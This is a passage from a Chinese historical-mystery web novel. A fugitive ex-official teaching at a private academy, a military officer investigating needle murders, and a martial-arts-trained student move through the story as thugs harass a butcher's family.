蔺渊没有回答这个问题,他另起话头道:“五天后休沐,某倒是可以陪你去看看。”
“那就说定了!”
蔺渊笑眯眯地回复道:“嗯,一定。”
“不打扰了。”达到目的的顾平安起身离开,像是想到什么补充道:“你们这儿是不是有位林学子,她见过你的。让她留在学院,你的身份可能会暴露。用不用我帮忙?反正南衙让我把举报你的杜学官送回京城看管,也不差她一个,学子过去正好能做个伴。”
蔺渊整理着面前的茶具,将它们一一归位后才慢悠悠地说道:“她不是。你认错了。”
“确定?”顾平安可不觉得是自己认错。他自认为有识人的本领,不然那晚也不会仅从林焕的描述中,就识别出悬赏令上的蔺渊。
蔺渊放下茶盏,微笑地盯着对方道:“十分确定,林焕是我的学生。”
林焕休沐时是下过山的,她完全可以报官揭穿我的身份。但是她并没有这般做,既然如此我又何必与位学子过不去。
14. 少吃一顿饿不死
见蔺渊沉浸在夫子的身份中,顾平安撇撇嘴,临走前问道:“有个问题我一直想问,你是进士出身又当过官儿,到底是为何落了草?”
“戴罪之身,走投无路。”他迎上顾平安审视的目光,并未因带罪之身而感到羞愧。
“既然戴罪,为何没有刺配?”顾平安还在追问。蔺渊面皮白嫩并没有朝廷对罪犯的刺青,若是用药水洗去也不至于完全不留痕迹。
蔺渊不再回话,他低下头不知在想些什么。
曾连破两大悬案的大理寺推官,本该前程似锦却落到如此下场,顾平安能感受到他的阴郁,也能共情到他的不甘。
想到昨日蔺渊往剑上撞的画面,那可真是连眼都没眨,或许那一刻的蔺渊是真的在求死。
活下去就那么难吗?
顾平安觉得自己有必要宽慰一二,别到时候案子没破成,人先没了。于是他吹声口哨道:“喂,我觉得你们读书人挺有意思的。”
“什么?”蔺渊懵懵地抬起头来。
顾平安立在门口,学着山长的神态道:“花洲书院登第者六十二人,如今在朝为官者十二人!”
又学着蔺渊的语气道:“咳咳,我乃同正三十五年二甲进士!”
最后调侃道:“果然一脉相承,如此骄傲啊。”
顾平安的打趣怎会听不出来,蔺渊抬手就将鞋扔出去,顾平安侧身躲过,他拿脚点了点鞋道:“要是这鞋不成对儿了,蔺夫子,你不难受嘛?”
“姓顾的,你敢!”蔺渊急忙起身。可惜晚了,那只鞋早被顾平安踢到山下。
蔺渊低声骂道:“顾平安,你等着。”
顾平安嬉闹的笑容转身便消失不见,他转了转手中的鞋子,方才蔺渊的扔鞋动作既无力度,亦无准度。
果然不会武功。
一个手无缚鸡之力的书生,南衙安排他进书院。这小小的书院又有何可取之处?
屋里的蔺渊就没那么多想法,他看着手中孤独的鞋子是越看越别扭,心里那只小猫又爬出了来,用小爪子挠啊挠的。他烦躁之下将剩下的那只鞋扔出去。
“嘶。”因动作幅度太大扯到伤处,蔺渊疼到皱眉,抬手揉了揉胸口。
“蔺夫子。”柔和的女声响起,身着书院统一服饰的女子冲着他甜甜一笑,那笑容仿佛能融化人心,让蔺渊皱起的眉头也随着展开。
她拎着篮子上前几步道:“这些笔墨纸砚是学官新派下的,安排学生给您送来。”
“多谢。”蔺渊接过篮子微微颔首道谢。
女子没有就此离开,她介绍着自己道:“学生是九斋的冉晴。”
蔺渊回过身嗯了一声,就听冉晴道:“听闻夫子尤擅兼经,学生想请教一二,不知夫子可方便?”
如此合理的请求让蔺渊无法拒绝,他抬手道:“学子请讲。”
…………
十八斋的夫子病了,所有课业由其他夫子分担。面对偌大的学堂内的三位学子,来任课的夫子无一不摇头叹口气。无非就是他讲他的,学生们做自己的,各不干涉,混个平安无事。
下课钟声响起夫子一刻也不愿多留,即使他刚说了半句话也戛然而止。
苏天赐拿着几道符递给林焕道:“这是我在后山祈的平安符。上官竹一定会没事的。”
“多谢。”林焕双手接下符纸。
唐黎瞥了眼符纸又继续看着话本子,林焕凑过来道:“昨晚你去复叔铺子了?”
“你怎么知道?”唐黎疑惑的挑眉。
“换下的衣服鞋子都有草药屑嘛。”林焕向来心细,只要她有心,什么都瞒不住她的眼睛。她追问道:“可有见到上官竹?”
“府衙戒备挺严的,夜探怕是不行。”唐黎视线一直在话本上。其实她在撒谎,昨日她是直奔府衙,比起牢狱里的上官竹更好奇青楼命案。
苏天赐托着腮认真听着二人讲话,唐黎拍了拍他的脑袋道:“还不快去饭堂,晚了就打不上饭。”
“我为何要去?今日轮到你给夫子送饭。”
“我?”唐黎仔细回忆一下,还真是诶。不过她并不在乎的道:“少吃一顿又饿不死。”
看她那样子并不打算去给蔺渊送饭。
“唐黎,他是夫子。”林焕点点唐黎的肩头,接二连三发生的事让林焕不再对蔺渊抱有异样看法,她也认可蔺渊作为夫子的身份。
林焕态度的转变唐黎自然知晓,她压下心里的闷气,不情愿的起身道:“好好好,我这就给他送饭去。”
于是唐黎踢着裙子,一路不忿的来到蔺渊寓所前。堂屋的门大敞着,没走近都能听到屋内传来的交谈声。
“圣王之命也,多寡之,食之利也......”蔺渊引经据典说的条条是道,对面而坐的冉晴听的津津有味,二人谁都没注意到门外的唐黎。
唐黎干脆将食盒丢在桌上,突如其来的动静让蔺渊紧急抬眸。
“唐师妹来送饭了?那我不便叨扰,告辞。”冉晴离开的很快,也未与蔺渊有过多的交谈。
唐黎耐着性子将食盒的餐食一一摆出。这篮子饭是她辛苦“抢”来的,林焕怕蔺渊饿着,一个劲儿催唐黎去打饭。
不知道饭堂人多啊!那乌泱泱的人头,不停的说话声让人听着心烦。偏偏林焕说要对蔺渊以礼相待,若不是看在林焕的面子上……
罢了……
被抢饭摧残的唐黎没好气的瞥了眼蔺渊,将最后一碗菜摆放桌上,那力度跟砸没有区别。
蔺渊感觉自己好像被人剜上一眼。我这一整天都未与唐黎见过面,应该....没招惹她吧?
“吃饭。”唐黎将筷子盖在碗上,完全是命令的语气。
蔺渊慢悠悠地拿起筷子,他那小猫吃食的模样让唐黎忍不住道:“这些都是我辛苦打来的,你就吃这么点儿?”
蔺渊颇为无辜的眨眨眼:“尚在病中,实在没有胃口。”
“方才与冉师姐有说有笑的,不是挺康健的嘛。今日不男女有别?不怕损师姐清誉了?”唐黎的语气充满阴阳怪气。
尤其想到蔺渊与师姐有说有笑的画面,哪里还有夫子的样子?她甚至离谱到怀疑蔺渊对师姐起了歹心思。
对于唐黎的质疑,蔺渊放下筷子满脸正色的道:“时值正午,屋门大开。正经论道,某有何惧?”
唐黎也不去争辩,她是怕冉师姐吃亏说出来也算是敲打一二。
“劳烦夫子吃完后自己动手收拾,下午还有课,先行告退。”唐黎拱了下手转身离开。
好巧不巧,要出门的人与要进门的人撞了个满怀,眼看就要跌倒,蔺渊立马起身去扶,本想去搀扶身形不稳的唐黎,谁知倒在怀里的却是顾平安。
二人大眼瞪小眼,顾平安眼中闪过一丝尴尬。他甚至开始复盘方才的情形,自己到底是怎么从门外到蔺渊怀里的,仅仅是因为撞上个人?
“咳咳。”蔺渊清咳两声道:“顾相公你压着我的伤口了。”
顾平安忙不迭的起身,眼神寻摸房间终于让他找到个缓解尴尬局面的话题。
“昂,吃饭呢?”
“……”蔺渊理着衣袖并不想搭理没话找话的顾平安。
“正好,我也饿了。”顾平安毫不客气的坐下拿过碗筷就开始吃。他冲着唐
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黎招手道:“这位学子也过来吃吧。”
“还有课业就不打扰了。”唐黎低着头道声告退,生怕被顾平安识别出身份,脚下步子捯的飞快。
“顾相公山上山下来回跑,不累吗?”蔺渊坐到顾平安的对面。此人下山还不到两个时辰又跑上来,得亏这山不高也不险,否则他的两腿就要打转喽。
顾平安扒口米饭道:“你在山上悠哉,都不知山下出了事....”说到关键处他却停顿下来,用筷子指下外面示意有人偷听。
不用猜蔺渊都知道外面的人是谁,定是那位好奇心很重的唐学子。他做了个要起身的假动作,椅子发出的声响唬得门外偷听者转身就跑,蔺渊甚至都没有真的起身。
“果然不能做贼啊。”顾平安感叹道,他清了下嗓子继续前面被打断的话说着:“青楼那位姑娘头顶寻出梅花针,邓州第二枚梅花针。”
“嗯。”蔺渊一副毫不在乎的姿态,他确实不在乎。命案天天有,连环命案也不是什么稀罕事,自己早就没有官身,也操不上这份儿心。
“崔安横尸闹市街头,这事影响挺大的。县令相公要求严查。”顾平安又扔出来个重磅新闻然后便暗中打量着蔺渊。
蔺渊又嗯了一声,对背后使阴招的崔安没什么好印象。他死不死的和我有什么关系。
“与你有没有关系?”顾平安盯着蔺渊想从他的脸上看出些端倪来。
这话问的就有歧义,仿佛崔安是蔺渊杀的似的。而蔺渊只是淡淡的反问一句道:“你真的在乎吗?”
顾平安还没有回答,就听蔺渊笑着又加上一句:“还是说顾相公希望与我有关?”
被看穿心思的顾平安脸色微变,想着还是要解释几句,别到时候闹掰了没人助我查案。
但蔺渊没给他这个机会,抢先开口道:“我既然答应帮你查案,就不会食言。你也不必挑我的错处以此来要挟。就算崔安是我杀的,你当如何?还不是与我笑脸相对,一起用膳。”说完蔺渊拿起筷子慢条斯理的开始吃饭。
顾平安也不是啥好脾气的人,他一拍桌子直接气到站起来,而蔺渊不过是微抬下眸道:“怎么?要走?那便不送。”
顾平安长吁一口气,不停安慰自己是有求与人,大丈夫能屈能伸。于是扯出个咬牙切齿的微笑,从怀里掏出一方手帕,刚要平铺到桌上,就听蔺渊说道:“脏。”
顾平安便老实的将手帕铺在地上:“金刚屠被斩首与深巷之中,此事总与你有关系吧?”
“.......”蔺渊半眯着眼看着那方手帕,已经暗沉的血色还是让人眼晕。
“这是在现场拓下的脚印,与蔺夫子完全相符。你作何解释?”
“没什么可解释的,金刚屠与白虎山的仇怨世人皆知。”他起身理了理衣裳走向门口,见顾平安还未动身便问道:“顾相公不是来抓我的嘛?我跟你走便是。”
顾平安当然不是来抓人的,最起码今日不是。
“你....”顾平安几下没说出话来,最后憋出一句道:“这么些饭食你就吃两口?浪费。”
正如蔺渊所说,顾平安还真就拿蔺渊没办法,谁让人家在为南衙做事。
如今这官场上人人都怕得罪南衙,那可是陛下的亲卫,有先斩后奏之权。自己不过是下州守军之将,惹不起也斗不过。
宽解完自己的顾平安,扯到另外的话题道:“方才那位学子的身手不一般。”
“是位高手。”蔺渊对唐黎的功夫表示认可。虽没与她对过招,但凭借着这些年闯荡江湖的经验来看,唐黎确实拥有一身好功夫。这对于年纪轻轻的姑娘来说甚是难得。
15. 不如大家都造反去吧
至于他们所讨论的唐黎此刻正在半山腰的凉亭下结诗社。
花洲书院的诗社不同于常见的诗社,诗社只是个由头,是个挂名。学子们聚集于此大多是议论朝政,又或是谈论八卦。
妄议朝政乃朝廷忌讳,谈论八卦乃君子不齿。所以叛逆的学子们远离学堂,到山中长亭以结诗社为由聚集于此谈天说地,好不热闹。
而今日谈论的热点便是剿匪以及招安,这也是时下人们讨论最多的话题。
“咱们陛下到底是女人,心还是太软,剿个匪顾前顾后,还要给那些招安来的流氓土匪官位。
若真是如此,咱们这些寒窗苦读之辈倒不如占山为王,揭竿起义,当个一两年的土匪,到头还能分个一官半职,这可比科考顺利多喽。”
“说的有道理!”
有人附和道:“那咱们干脆占了书院,这里有山有水的,后山还有良田桑林,即使封山自给自足一两年绝对没问题。学子们都懂些兵法,也可为兵,哦,对了,让唐师姐做教头。”
唐黎笑着摆摆手表示自己不能胜任。众人的目光聚焦在唐黎身上,他们的话题一转开始打听新来的夫子。毕竟这位夫子刚来书院就为了自己的学子解围。单凭这点就博得众人的喜爱。
“新来的那个蔺夫子学问如何?”有人发问道。
唐黎想了想,认真回答道:“怎么说呢,学问还是有的,授课也就那样吧。文章写的花团锦簇,一句话恨不得用上四五个典,我都不知道他从哪里刨来如此生僻的典故。啧啧,我倒是觉得他文章写的过于工整糜丽,有些华而不实。”
众人听得认真,只有一人大声发笑,他隐与树荫下让人瞧不清他的模样。
唐黎被笑声吓了一跳,她歪头道:“我说错了吗?为何发笑?”
“没...没错,说得好!”那人摆着手依旧在笑。
尚且年少的唐黎哪里知道十几年的光景就能让一个国家的文坛发生天翻地覆的变化。
十多年前流行太学体,便是蔺渊所写的那类文章,其气象宏大、文辞华丽、韵律铿锵,每字每句皆有典故。学子们纷纷追寻这类浮夸浓艳的文风,乃文人炫技的得意之作。
新皇登基一切都发生转变。大量文人墨客按照新皇的喜好开始崇古,文风变得朴实易懂,少用生涩典故,读起来平易近人,有古稚醇厚、灵活舒缓之感。
之所以大笑是因为蔺渊向来以进士身份为傲,若他得知自己的文章被自己的学生这般批评,怕是能生生吐出一桶血来,那模样一定十分有趣。
那人一路笑着离开凉亭,徒留一众学子面面相觑。这里要属唐黎反应最快,察觉到对方不像书院学子便一路跟踪。却在山脚处跟丢,又寻觅很久不见人影,只好作罢。
.....
“唉”
“唉!”
这几天,病号蔺渊实在难熬学子唐黎的“伺候”,一日三餐不齐整就算了。那双大眼睛瞅什么都好奇。打扫房间的功夫能将屋里翻个底朝天。
显然,唐学子又在怀疑些什么。
唐黎确实对蔺渊的身份起疑,但她没有证据。就想借着侍奉夫子的名义寻找寻找,这位腰缠宝剑的夫子到底是个什么来头。
她举起茶盘歪头看看没有异常后随手丢到一边,蔺渊紧接着将茶盘归还至原位并将上面一应茶具摆放整齐,抬眸就见唐黎掀起墙上的山水画,她就差钻进画里,结果自然是没有什么便撒了手,那画随着惯性不停地摇晃,闹得蔺渊心里直痒痒。
他上前扶稳画轴道:“就不劳烦唐学子帮忙打扫了,我自己来。”
“那可不行。这是身为学子的职责。”她抱着鸡毛掸子后退两步,说的煞有介事。
“我身体恢复的差不多了,早起与学官销假,真的不用唐学子来伺候。”
“夫子病好了?”林焕的声音响起,她拎着食盒出现在门前,她进门后道:“既然夫子病好了,山长有事寻您。”
“好,我这就去。”蔺渊一步并做两步离开。
唐黎双手环胸望蔺渊的背影,林焕问道:“看什么呢?”
“我有没有给你说过夫子不对劲儿?”
林焕脸色微变,她在犹豫是否告知唐黎夫子的真实身份。这些天的相处能看出来夫子是位好人,也在认真授课。但他警告的话语还是会在耳边响起。
她现在无比后悔托付杜荷学官下山报案,因为从那天以后杜学官便告了假,据说是回乡探亲,可她寓所的衣物被褥什么的都没有收拾的痕迹,分明是那次下山后再未回来。
她不想让唐黎也无缘无故的失踪。
最后下定决心的林焕听从蔺渊的警告,对他的身份闭口不言。
对于唐黎的质疑,她是这般回答道:“我没感觉夫子有什么不对劲儿,是你想多了。”
“怎么会。”唐黎抽出腰间的软剑道:“你看,削铁如泥,吹毛断发的宝剑。他告诉我是一两银子买的。一两银子!他哄小孩呢。”
“我不懂兵器。要不你问问上官竹?”林焕低着头放好食盒转身就走。
“诶。”唐黎没能叫住她,歪头道:“怎么今天大家都怪怪的?”
蔺渊被山长叫去主要是为上官竹一事。上官入狱,他家的长辈急到转圈,又碍于官身不好自己出面,怕平白再闹出事端。于是就拜托山长想法子。
山长教了一辈子书,是教出不少高官显贵,但这些高官又有几人会听从他的话,那些看起来的亲近关系不过是维护相互的体面。
山长不愿破坏来之不易的体面,于是想到与南衙有联系的蔺渊,顶着夫子之名那便要对学生负责。夫子搭救自己的学子,天经地义嘛。
他先是对于让蔺渊管理十八斋一事表示愧疚。
“按理说万宗是莫统领安排来的,实在不该大材小用。十八斋毕竟是书院的倒数第一,管理起来容易遇到困难。”
而蔺渊却持相反的看法:“山长请容学生直言,学院不该给学斋设立排名。更不该看低十八斋的学子们。他们学业立根基础,并非不学无术之辈。就拿墨义来说,这是唐学子最为擅长的。她对经义的理解向来透彻,难能可贵的是能将其所理解的清晰表达出来。
还有贴经,上官学子所储备的经史子集比五斋的学子还要多,文章更是写的透彻,还有那一手的好字谁看了不欢喜。”
山长点头道:“上官学子向来聪慧,他只是在学习态度上有些消
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极。还望蔺夫子日后多督促。”
“这是自然。”蔺渊点头道。
既然蔺渊都提到上官竹,山长趁机开口道:“上管学子如今还在狱中....”他偷瞄了眼蔺渊,见他无甚表情,继续道:“这孩子向来实在,定不会与那人命案扯上关系。万宗...你看,不如找找关系,能对上官学子照顾一二?”
“我尽量吧。”蔺渊拱手道。
“那好,那太好。下个月我便安排你去负责第五斋。”
“这就不必了,十八斋挺好的。山长若是没什么其他的吩咐,万宗告退。”蔺渊走的很快,生怕山长把调任一事确定下来。他是好不容易跟十八斋混熟些,而且十八斋的学子少,五斋可是有十五名学子。若真的调任的话,我哪有功夫干自己的事?全围着学子转了。
说起上官竹,蔺渊差点忘了这小子还蹲监狱呢。既然山长发话了,要不请顾平安照顾一二?
他来到山门处眺望远方,这几天顾平安恨不得天天上山询问梅花针一案,偏偏今日有事找他,他反而不来了。
“你这是在等人?”唐黎的声音从背后响起。
“哦,我...我看看风景。你下山?”蔺渊回答略显尴尬。
“是啊。”唐黎心情不错,笑了笑道:“麟凤阁的饴糖又出新品呢。”
“劳烦学子帮忙给兵马司的小顾相公带个口信。就说我有事见他。”
“嗯,好。”她爽快的答应。走到一半还冲蔺渊挥了挥手告别
蔺渊摇头笑了笑道:“这姑娘.....”随着钟声响起,他突然意识到下午有十八斋课!
“诶!唐学子!有课!”蔺渊想追已经来不及,山路上早就没有人影。
我这算不算亲自送学子逃课?
买完饴糖,又送完信的唐黎觉得天色尚早,她便顺便去街上转上一转。好巧不巧的路过林焕家的猪肉铺,既然路过唐黎便打算过去问安,见门口围了不少人。
“不过年不过节的,林家的生意怎么这般火爆?”唐黎穿过人群想看个仔细,回书院后也好和林焕描述一二。
“呀,林姑娘回来了!”也不知谁先喊的这声,唐黎瞬间就被一群人给围了起来。
“瞧瞧这模样,这通身气派,不错,不错。”微胖些的大娘的小眼上下扫视着唐黎。那眼神让唐黎很是不爽,仿佛自己是案上的猪肉。
“姑娘书念的怎么样,小考过了吧?府试呢?要我说过了小考就好,可别往上考,莫要压过夫婿的风头。”
唐黎还没说上话,又一个自来熟的大娘拉过唐黎的手道:“这皮肤鲜嫩的都能掐出水来。没想到杀猪匠家中竟能养出如此标志的美人。”
“你是什么人?”唐黎不客气的收回手来,眼神微瞥带着一分寒意,吓退几个围过来的妇人。
“哎呀呀呀,你们搞错的啦。”林母小跑出来,拉过唐黎护在怀里解释道:“这不是我家姑娘,你们认错人了。”
“姑娘不是穿着花洲书院的衣裳吗,嫂子可别蒙我们。”
“得罪谁也不敢罪媒人。各位大姐行行好,近日就别来了。姑娘在书院读书,到中秋节才能下山。”她又废不少口舌才将门口的人说散了去。
16. 高手打架扇巴掌?
唐黎被迎进院去,她指着门外道:“那些都是媒人?”
“是啊,十里八乡的媒人都来了。”
“你们要打扮林焕出嫁?可她还在读书。”唐黎自觉语气有些激进,她道歉道:“伯母,我没有置喙你们家事的意思,我是怕林焕不愿意,她的目标一直是考过府试,到衙门为女吏的。”
林母叹了口气,忧愁的开口道:“她表舅的事你也知道,最后让彭员外闹了个没脸。他爹怕彭家惦记,就想着先给林焕定上亲,成亲的时间另外商量。彭家就算使坏,总不能抢定下亲,换过庚帖的姑娘,到时候闹到衙门里也能有个说法。你说是不是?”
唐黎点点头,她接过林母手中的茶壶倒起茶来。
“唐姑娘,不怕你笑话。我们林焕志向短,能在府衙当上账房我就阿弥陀佛了。女吏虽不如与女官威风,但朝廷的限制也少,嫁娶到底是自由些。”
唐黎又点点头,默不作声的喝茶。书院中不少女学子的家中都是这般想法。
送姑娘来读书并不是指望她们将来能做大官,谋大事。而是把在花洲书院读书的经历当做“嫁妆”,以此能为姑娘配个好姻缘。
方才也看到了,在花洲书院念过书的林焕是能引到十几位媒婆前来说媒的,可想而知花洲书院的分量。
“我感激你与林焕亲近。姑娘是京城来的,见识自然比我们大。我们小门小户的,只求姑娘.....”林母抓了不少瓜子花生往唐黎手里塞着。
“只求姑娘别再跟我家阿焕说些不婚不嫁的话,也别让她起了当女官的心思。我家不求她能大富大贵、青史留名,只求她平安一生,万事顺遂。”
被长辈这般低声下气的请求,唐黎坐不住,她起身拱手道:“伯母的意思晚辈明白。您放心,我再不会与林焕讲这些话。”
“好孩子。好孩子。”林母又塞上不少点心吃食。
唐黎乖巧的仰头笑笑,她喜欢待在林家,喜欢林家父母的温馨以待,往往在这里才能体会到家的感觉。所以她会经常来林家,并且能赖在这里一整天。
也不为别的,就是看着林母洗衣做饭,她打着下手。听着林母唠些家长里短,她附和点评两句,虽然琐碎平淡但她甘之如饴。
“怎么没见到林伯伯?”
“应该是在前面铺子吧,不然就是去进货了。”
“这样啊。那我帮您把后院的柴给劈了吧。”唐黎撸起袖子就要干活。林母要拦她没能拦住,她抡起斧子已经劈了不少。
“这孩子,真实诚啊。”林母宠溺的摇摇头,转身去灶屋给唐黎做些吃食。
唐黎干活干的起劲,对于她这种习武之人,砍柴简直就是随手的事,很快就将墙边的柴都劈完了。她抹了把汗出现在灶屋门口,冷不丁的把林母吓一跳,手中刀一错划伤到手指。
“可有止血散?”唐黎紧张的扶着她的手。
“东厢的床头匣子里有。”
东厢是林家夫妇的卧室,唐黎作为外人从未进去过。好在屋子不大,按照林母的描述唐黎很快找到了止血散,离开屋子时注意到堂屋供奉牌位,是林家小弟的。
牌位前供上不少点心水果,估摸着都是小弟生前爱吃的。
这么看来冉晴所说一事是真的。一直未出现的林家小弟早已去世。
“姑娘?姑娘?”林母见唐黎进屋许久未出,便要寻了过来。
“这就来!”唐黎应声跑出屋子。
给林母上药的过程中,唐黎实在没忍住,隐晦的问起牌位之事。林母倒是没有怪罪,她知道唐黎总有一天会问到的,毕竟丈夫总是将儿子挂在嘴边,可儿子却从未出现在人前。
“抱歉,吓到你了。”林母最先说的是这句话。
“你伯伯是伤心过度,总是幻想阿成没有离开。慢慢地连他自己都相信,相信家中没有儿子的身影是因为儿子去城东当学徒,师父严厉所以很少回家。其实阿成三年前就已经走了。”林母眼圈红红的,在人前她强忍着泪水。
“节哀。”唐黎知道此刻说再多的话也没有用,她紧紧地的握住林母的手安慰着她,希望能给她力量。
“孩子啊,你们都离水远点,那是猛兽啊。听到没有?”林母拍着唐黎的手嘱咐道。这是她的血泪教训,不管是谁家的孩子,她总是这般嘱咐。
这时门外响起敲门声,隔壁街坊喊道:“婶子,出事了!你家老林被人打了!”
唐黎的反应比林母还要快,她抄起一旁的菜刀直接起身。
等到猪肉铺前,这里已经乱作一团,林父脸上挂彩显然被打的不轻,而打人者一脚蹬在桌案上甚是嚣张的道:“叫你把半扇猪肉切成臊子,半个时辰了还没切完。老子哪有时间等你!”
“半个时辰将半只猪剁成臊子,这谁能完成!欺负人嘛。”围观群众中有人鸣不平道。
打人者还挺有理的梗着脖子道:“没那本事就别揽着那活。咱也不是不讲理的人。这样吧林屠户,既然你没本事就把钱退我。”
林屠户不服气的哼唧两声:“当时扛着半扇猪来,上来就说切成臊子,也没说要半个时辰里切完,摆明就是闹事的。”
林母拉住丈夫,生怕他再惹恼对方,连忙劝着道:“别逞强,把钱还给人家就是了。”
林屠户虽不服气,但架不住妻子的劝说,从一旁罐里拿了把钱交还出去。
对方拿了钱也不走还在伸着手讨钱,耍无赖道:“怎么?我这半扇猪肉被你切成这样,不得赔钱?”
这就有些无理取闹,不过林家还是选择咽下这口气。林母按照半扇猪肉的市场价格掏了钱,谁知对方依旧不依,叫嚷道:“我这扇是黑山猪肉,怎么也值八两银子!”
“八两?”林屠户众人的搀扶下起了身,不可思议道:“寻常一头肥猪也不过三四两银子,你半扇就要我八两?”
林母附和道:“这位先生你要的实在有些多,再说我们也拿不出这么些银子。”
唐黎算是看明白了,这人纯属是来找事的。不过她这次没有动用武力,默默地从怀里掏出二十两银票。林母见状急忙拦住她道:“使不得,使不得。”
林屠户也拦住唐黎道:“丫头,我们要是拿你的钱成什么?”
“不给钱?那就给我砸。”他一挥手窜出不少流氓泼皮,二话不说砸了起来。
围观群众瞬间散开,但他们并没有走远只是寻了个安全的地方继续看热闹。
好好的肉被扔的满地都是,连桌案都被掀翻在地。林屠户长着满身横肉,面对人多势众的流氓也是无能为力。
“欺人太甚。”唐黎看不下去,刚要有所动作就被林母紧紧拉住,推着唐黎往外走道:“好孩子,不要插手,免得连累你。快回书院吧,这事千万别和换娘说。”
唐黎怎么可能离开,先不说林焕是自己的好姐妹,就是路见不平也要拔刀相助!
抬手覆上腰间的软剑,冷冽的剑锋即将出鞘却被身后之人给撞了回去。
不知从哪里冒出的人上来就与泼皮战到一处,他们一看就是打架的好手,下手狠厉,干净利索。
唐黎这才看清来人的相貌,是那晚丢扇子的蓝衣小子。
怎么又是他撞我?走路不长眼的嘛。
看到有人出手相助唐黎选择隐与人后,听着围观人群讨论这件事的始末经过。
原来这伙人是赵柯雇来的,不仅如此,几乎过两三个月就会来闹上一出,花样层出不穷防不胜防,目的不是为了要钱就是砸铺子。
起先还有街坊邻居为林家打抱不平,紧接着遭殃的就是自己家。后来大家怕被连累都选择视而不见,谁让林家儿子卖病猪害死赵员外,大家都觉得这是报应。
不过看在林家夫妇平日为人不错的份上,私下里通风报信的,暗中报官的大有人在。
这不,兵马司得了信便赶过来,捕快们稍慢上几步。
兵马司费了不少劲儿才将叫停群殴。别看时臣文文弱弱的书生模
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样,打人可不手软,手中的铁扇子一横也敢跟官兵叫嚣。惹得兵马司不快,干脆要将两拨人都押入大牢。
林赵两家的恩怨衙门也都了解,捕快从中调停才没让见义勇为的时臣等人被抓进大狱。兵马司押着泼皮们离开,捕快还是那副和稀泥,说了几句冠冕堂皇的话,喝退凑热闹的人也就离开了。
唐黎看着佝偻着身影收拾残局的林母,心疼的道:“我来吧。”
“让姑娘见笑了。”林母笑的万分疲累。
“这事林焕不知道吧?”
“知道又有何用,只会多一人担心,解决不了问题。”
唐黎沉默不语,伯母的话没错,林焕不知道也好,努力读书,读出个名堂来林家才算熬出头了。
离开林家的唐黎背上个大大的包裹,这里全是林母的怜子之情。中秋在即,连带着唐黎也开始想家,她望向京城方向,这几日下雨也不知大哥的膝盖还痛不痛,二哥的头疼病是否好些?
“请问姑娘是花洲学院的学子吗?”男子的声音在背后响起。
唐黎十分后悔穿着院服下山,她不想搭理对方便装作没听见般大踏步前进,谁知身后之人追上她又问了一遍。
“我是。”唐黎只得认下。
来人身着布衫,中等模样中等身材,模样长得普普通通让人过目就忘。他行礼介绍着自己:“在下王金诚,是换娘的街坊。方才见姑娘从肉铺走来,想托你帮忙给换娘带封信。”
“行吧,给我吧。”唐黎接过信件也不多问,拿过就走。却不知转弯处的巷口正有人在等待着她。
一道蓝影迎面划过,唐黎转身便闪躲过去。
二人背对站定,方才的交锋已经试探出对方的水平。唐黎冷哼一声道:“背后偷袭的宵小之徒。”
那人也不客气的道:“鸡鸣狗盗之辈也配与我说话。”
话不投机便只有大打出手,正面对掌使得唐黎认出此人。
“时臣?”唐黎收了手。方才多亏时臣出手相助,也算是有恩与林家,所以她不愿再打下去。
“给我。”时臣摊开手上来就向唐黎要东西。
“什么啊?”唐黎瞪大眸子,万分不解,她后知后觉道:“哦,你是说那扇子呀,我当晚就给醉仙楼的小二了。”
“别装糊涂,给我!”他又进一步,语气十分不善。
唐黎实在是没听明白对方的意思。但时臣却认为唐黎是故意不给,所以他干脆自己来抢,张手就冲唐黎腰间而来。
哪有这样对招的,手如此不老实,惹得唐黎的脸瞬间通红。
“臭流氓!”唐黎一巴掌扇出去,也许没有高手打架时会扇巴掌,时臣一时大意没躲过去,但那桃粉色的腰带已经落在他的手中。
唐黎又羞又恼,于是连掐带踹的竟将对方打到毫无还手之力。最后时臣选择高举腰带投降,唐黎没好气的一把抢回腰带,见对方还盯着自己的腰间,抬腿又踹上一脚。
“年纪轻轻的不学好,臭流氓!再看我就挖你眼珠子!”唐黎恶狠狠地警告他。
挫败的时臣不再强夺,他指着唐黎的腰间道:“腰间的软剑哪里来的?”
“与你有关系吗?”唐黎没好气的白了他一眼。
“到底哪来的!”他的声音突然提高。
唐黎注意到对方的眼眶红红的,情绪实在失常,似乎这剑对他挺重要的,一时间于心不忍便松了口道:“别人送的。”
得到这个答案的时臣不再过问,突然泄了气般转身离去。
呵……
不是说师兄遗物不能与他人把玩?
不是说贴身佩剑不能随意赠人?
与此女才认识几日,竟连随身佩剑都赠送出去。
天下男人果然都是一个德行.....
时臣落寞的背影慢慢融入落日的余晖中,唐黎不明就里的挠挠头别是碰到疯人了吧。
她整理下腰带,拉了拉包裹,可算是踏上回山的路。
17. 哪有这样蹲大狱的
唐黎懒懒地回到寓所将包裹交给林焕,她喊着饿道:“啊,饭堂今日关门怎么这么早,饿死了。”
“听说管事刘大娘家今日办喜事,提前下山了。”林焕看到熟悉的点心柿饼露出惊讶,她问道:“你去我家了?”
“恰好路过,伯母托我带些东西给你。哦,对了,还有这个。”她掏出一封信来。
林焕拆着信封,唐黎脱了鞋袜跳上床凑过来道:“说是你家街坊,姓王。写的什么?”
林焕也不避着,直接拿给唐黎看:“王大哥想约我中秋同游画舫,特意下了贴子。”
“这人怪守礼的,还如此郑重的下帖子。那你去不去?”
“我?”林焕随手将贴子压在书下,继续看书道:“我不知道。”
“这有什么不知道的,想去就去。”唐黎上手帮着林焕打散头发,辫起辫子玩,她还操心的打听道:“王大哥是做什么的?人品德行如何?”
“他家寡母当家,王大娘靠做箩筐把儿子拉扯大,上次回家听我娘说王大哥在县衙里谋了个差事......”林焕觉得以唐黎的性格不该对王大哥的事感兴趣,她向来不爱多管闲事的,今日怎么转了性儿?于是问道:“可是王大哥得罪你了?”
“没有的事。”唐黎躺倒在床,盯着天花板发呆。她还在想蔺夫子到底是个什么人,先前在水月楼与顾平安是那么剑拔弩张,最近又好的跟亲兄弟似的,那顾平安还动不动就拎着礼品来探望夫子。
林焕起身挑了下烛芯,又端来一盏灯来。如今天气渐凉,这天也黑的早些,晚上要想读书就需多废蜡烛。
“阿焕。”唐黎翻了个身面对林焕道:“上次天赐说夫子套他的话,你还记得是什么事吗?”
“嗯...好像是藏书阁走水,还有乡射受伤的几位师姐们。”
“受伤的是谁?”
“九斋的冉晴师姐,赵雪儿师姐,还有七斋的薛枫师兄,薛师兄伤得重一些,修养个把月才回书院。”
“不就是个射礼,怎会受伤这么多人?”
